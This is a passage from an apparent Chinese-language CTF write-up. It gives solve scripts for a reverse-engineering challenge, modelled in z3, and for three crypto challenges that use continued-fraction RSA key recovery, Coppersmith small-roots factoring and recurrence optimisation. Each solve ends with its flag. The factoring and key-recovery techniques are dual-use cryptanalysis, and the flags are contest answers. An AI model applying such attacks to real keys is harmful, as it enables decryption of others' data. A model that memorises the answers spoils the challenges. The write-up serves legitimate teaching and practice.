调试的时候有个Sleep函数 注意需要手动绕过
然后打印出每一步加密的操作 结合汇编语言观察
发现程序有三种加密
加上一个数字然后xor 0x17
一堆加减乘除
逆序整个数组
都是线性加密 利用z3约束求解即可
enc=[ 0x4D, 0x63, 0x5D, 0x34, 0x43, 0x09, 0xA2, 0x77, 0x0A, 0xBF,
0xC9, 0xB3, 0xE9, 0x6F, 0x79, 0x7D, 0x7B, 0xE8, 0x99, 0x90,
0x43, 0x08, 0xBB, 0x99, 0x0E, 0x2E, 0xD4, 0x7B, 0x27, 0xB7, ]
# data2=[ 0x9B, 0x4B, 0x7B, 0xBA, 0x9B, 0x0B, 0x9B, 0xE6, 0x7B, 0x5B,
# 0xCB, 0x9B, 0xCB, 0x9B, 0x7B, 0x7B, 0x9B, 0xCB, 0x9B, 0xCB,
# 0x5B, 0x7B, 0xE6, 0x9B, 0x0B, 0x9B, 0xBA, 0x7B, 0x4B, 0x9B,]
# for i,j in zip(enc,data2):
# print(chr(i^j^ord('a')),end='')
def encrypt():
global x
x[0] += 2;
x[1] -= 28;
x[2] ^= 0x47;
x[3] += x[4];
x[5] += 73;
x[6] += 12;
x[7] -= x[8];
x[8] ^= 0x5A;
x[9] ^= 0x22;
x[0xA] += 20;
x[0xC] -= 84;
x[0xD] ^= 4;
x[0xE] ^= 0x1C;
x[0x11]-=1
x[0x1b]^= 0x11;
x[0x1c] ^= 3;
for i in range(30):
x[i]&=0xff
def rev():
global x
x= x[::-1]
def enc1():
global x
for i in range(30):
x[i] = (0x17^(x[i]+0xa))
def enc1():
global x
for i in range(30):
x[i] = (0x17^(x[i]+0xa))
def enc2():
global x
for i in range(30):
x[i] = (0x17^(x[i]+0x10))
def info():
return
global x
for i in x:
print(hex(i),end=' ')
print()
cin= "1234567890abcdefghijklmnopqrstuv"[:30]
from z3 import *
print()
x=[BitVec('x[%d]'%i,8) for i in range(30)]
enc1()
info()
encrypt()
info()
rev()
info()
encrypt()
info()
rev()
info()
enc2()
info()
encrypt()
info()
rev()
info()
encrypt()
info()
rev()
info()
S=Solver()
for i in range(30):
S.add(x[i] == enc[i])
S.check()
print(S.model())
# data=[ 0x2C, 0x2B, 0x2A, 0x29, 0x28, 0x57, 0x56, 0x55, 0x54, 0x2D,
# 0x7C, 0x7B, 0x7A, 0x79, 0x78, 0x67, 0x66, 0x65, 0x64, 0x63,
# 0x62, 0x61, 0x60, 0x6F, 0x6E, 0x6D, 0x6C, 0x6B, 0x6A, 0x69, ]
# for i in data:
# print(hex(i),end=' ')
# encrypt()
# data=[ 0x2E, 0x0F, 0x6D, 0x51, 0x28, 0xA0, 0x62, 0x01, 0x0E, 0x0F,
# 0x90, 0x7B, 0x26, 0x7D, 0x64, 0x67, 0x66, 0x64, 0x64, 0x63,
# 0x62, 0x61, 0x60, 0x6F, 0x6E, 0x6D, 0x6C, 0x7A, 0x69, 0x69, ]
# #change index
# data=[ 0x69, 0x69, 0x7A, 0x6C, 0x6D, 0x6E, 0x6F, 0x60, 0x61, 0x62,
# 0x63, 0x64, 0x64, 0x66, 0x67, 0x64, 0x7D, 0x26, 0x7B, 0x90,
# 0x0F, 0x0E, 0x01, 0x62, 0xA0, 0x28, 0x51, 0x6D, 0x0F, 0x2E]
# encrypt()
# data=[0x6B, 0x4D, 0x3D, 0xD9, 0x6D, 0xB7, 0x7B, 0xFF, 0x3B, 0x40,
# 0x77, 0x64, 0x10, 0x62, 0x7B, 0x64, 0x7D, 0x25, 0x7B, 0x90,
# 0x0F, 0x0E, 0x01, 0x62, 0xA0, 0x28, 0x51, 0x7C, 0x0C, 0x2E, ]
# #change index
# data=[ 0x29, 0x0B, 0x9B, 0x76, 0x2F, 0xA7, 0x65, 0x06, 0x09, 0x08,
# 0xB7, 0x9C, 0x22, 0x9A, 0x63, 0x9C, 0x65, 0x37, 0x63, 0x90,
# 0x47, 0x5C, 0x18, 0x9C, 0xD0, 0x6A, 0xFE, 0x5A, 0x4A, 0x6C]
# encrypt()
# data=[ 0x2B, 0xEF, 0xDC, 0xA5, 0x2F, 0xF0, 0x71, 0xFD, 0x53, 0x2A,
# 0xCB, 0x9C, 0xCE, 0x9E, 0x7F, 0x9C, 0x65, 0x36, 0x63, 0x90,
# 0x47, 0x5C, 0x18, 0x9C, 0xD0, 0x6A, 0xFE, 0x4B, 0x49, 0x6C, ]
# #change index
# data=[ 0x6C, 0x49, 0x4B, 0xFE, 0x6A, 0xD0, 0x9C, 0x18, 0x5C, 0x47,
# 0x90, 0x63, 0x36, 0x65, 0x9C, 0x7F, 0x9E, 0xCE, 0x9C, 0xCB,
# 0x2A, 0x53, 0xFD, 0x71, 0xF0, 0x2F, 0xA5, 0xDC, 0xEF, 0x2B]
# encrypt()
# data=[ 0x6E, 0x2D, 0x0C, 0x68, 0x6A, 0x19, 0xA8, 0xBC, 0x06, 0x65,
# 0xA4, 0x63, 0xE2, 0x61, 0x80, 0x7F, 0x9E, 0xCD, 0x9C, 0xCB,
# 0x2A, 0x53, 0xFD, 0x71, 0xF0, 0x2F, 0xA5, 0xCD, 0xEC, 0x2B,]
# #change index
crypto
signin
连分数恢复d1、d2,数论变换得到p-q,解方程组得到p、q,rsa解密得到flag
d = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588
c=1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
n=2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517
leak=1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628
#sage exp
data3 = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588
c = continued_fraction(data3)
print(c)
alist = c.convergents()
# print(alist)
for i in alist:
a = str(i).split('/')
if len(a)>1 and gcd(int(a[0]),int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(a[0]).bit_length()==256 and int(a[1]).bit_length()==256:
print(a)
import libnum
e = 65537
d = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588
c=1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
n=2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517
leak=1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628
d1 = 97093002077798295469816641595207740909547364338742117628537014186754830773717
d2 = 67958620138887907577348085925738704755742144710390414146201367031822084270769
t = leak % d1
p = var('p')
q = var('q')
roots = solve([p*q==n, p-q==t], p,q, solution_dict=True)
p = roots[-1][p]
q = roots[-1][q]
assert p*q==n
m = int(pow(c, inverse_mod(e, (p-1)*(q-1)),n))
m = int(m-d2)
print(libnum.n2s(m))
# b'SYC{a00338c150aa3a5163dbf404100e6754}'
CrazyTreat
copper用模的倍数来解小根方程,再是已知高位攻击
import gmpy2 as gp
import libnum, gmpy2
from Crypto.Util.number import *
clown = 128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
trick = 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576
e = 65537
n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030
c = 10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949
PR.<m> = PolynomialRing(Zmod(n))
f = P*Q-m^2-m*(P-m+Q-m)
f = f.monic()
m = f.small_roots(X=2^256, beta=0.6)
R = int(m[0])
PR.<x> = PolynomialRing(Zmod(clown))
f = trick+x
x = f.small_roots(X=2^210, beta=0.4)
P = trick+int(x[0])
Q = clown // P
d = int(gmpy2.invert(e, (P-1)*(Q-1)*(R-1)))
m = int(pow(c, d, P*Q*R))
print(libnum.n2s(m))
# b'SYC{N0b0dy_Kn0vvs_CryPt0_be7t3r_7haN_Me}'
Alexei needs help
用循环代替递归、取模等方法减小时间复杂度
from random import randint
import gmpy2 as gp
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import md5
from binascii import *
import sys
a = 12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215
b = 10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673
m = 9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817
seq = [1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064, 12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860, 13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339, 8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005, 5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052, 9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050, 6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410, 3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626, 2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738, 10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]
ct = '37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81'
n = 2023
def seqsum(i):
ans = 0
for j in range(len(seq)):
ans += (gp.powmod(i,j,m)*seq[j])% m # 取模,减小规模加快运算
return ans
tt = [1, 1, 1]
def homework(i):
for _ in range(3, i+10):
tt.append((a * tt[-1] + b * tt[- 2] + seqsum(_)) % m) # 利用循环代替递归,避免重复运算
return tt[i]
ans = homework(n)
k = unhexlify(md5(str(ans).encode()).hexdigest())
aes = AES.new(k,AES.MODE_ECB)
m = aes.decrypt(long_to_bytes(int(ct,16)))
print(m)
# c7ceedc7197a0d350025fff478f667293ebbaa6b
# SYC{c7ceedc7197a0d350025fff478f667293ebbaa6b}